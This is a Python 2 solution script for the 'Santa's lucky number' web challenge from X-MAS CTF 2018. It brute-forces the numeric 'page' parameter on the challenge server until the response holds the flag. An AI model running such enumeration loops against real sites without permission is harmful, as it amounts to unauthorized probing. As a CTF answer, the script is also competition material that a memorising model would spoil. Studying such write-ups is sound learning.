Santa's lucky number - Web Challenge | X-MAS CTF 2018

santas_lucky_number.py

import urllib2

def request(number):
    url = 'http://199.247.6.180:12005/?page=' + str(number)
    request = urllib2.Request(url)
    response = urllib2.urlopen(request)
    body = response.read()

    return body.split("\n")[len(body.split("\n")) - 2][:-4]

cont = 0

while(True):
    response = request(cont)

    if 'X-MAS' in response:
        print 'FLAG: ' + response
        break

    print 'Response(' + str(cont) + '): ' + response
    cont = cont + 1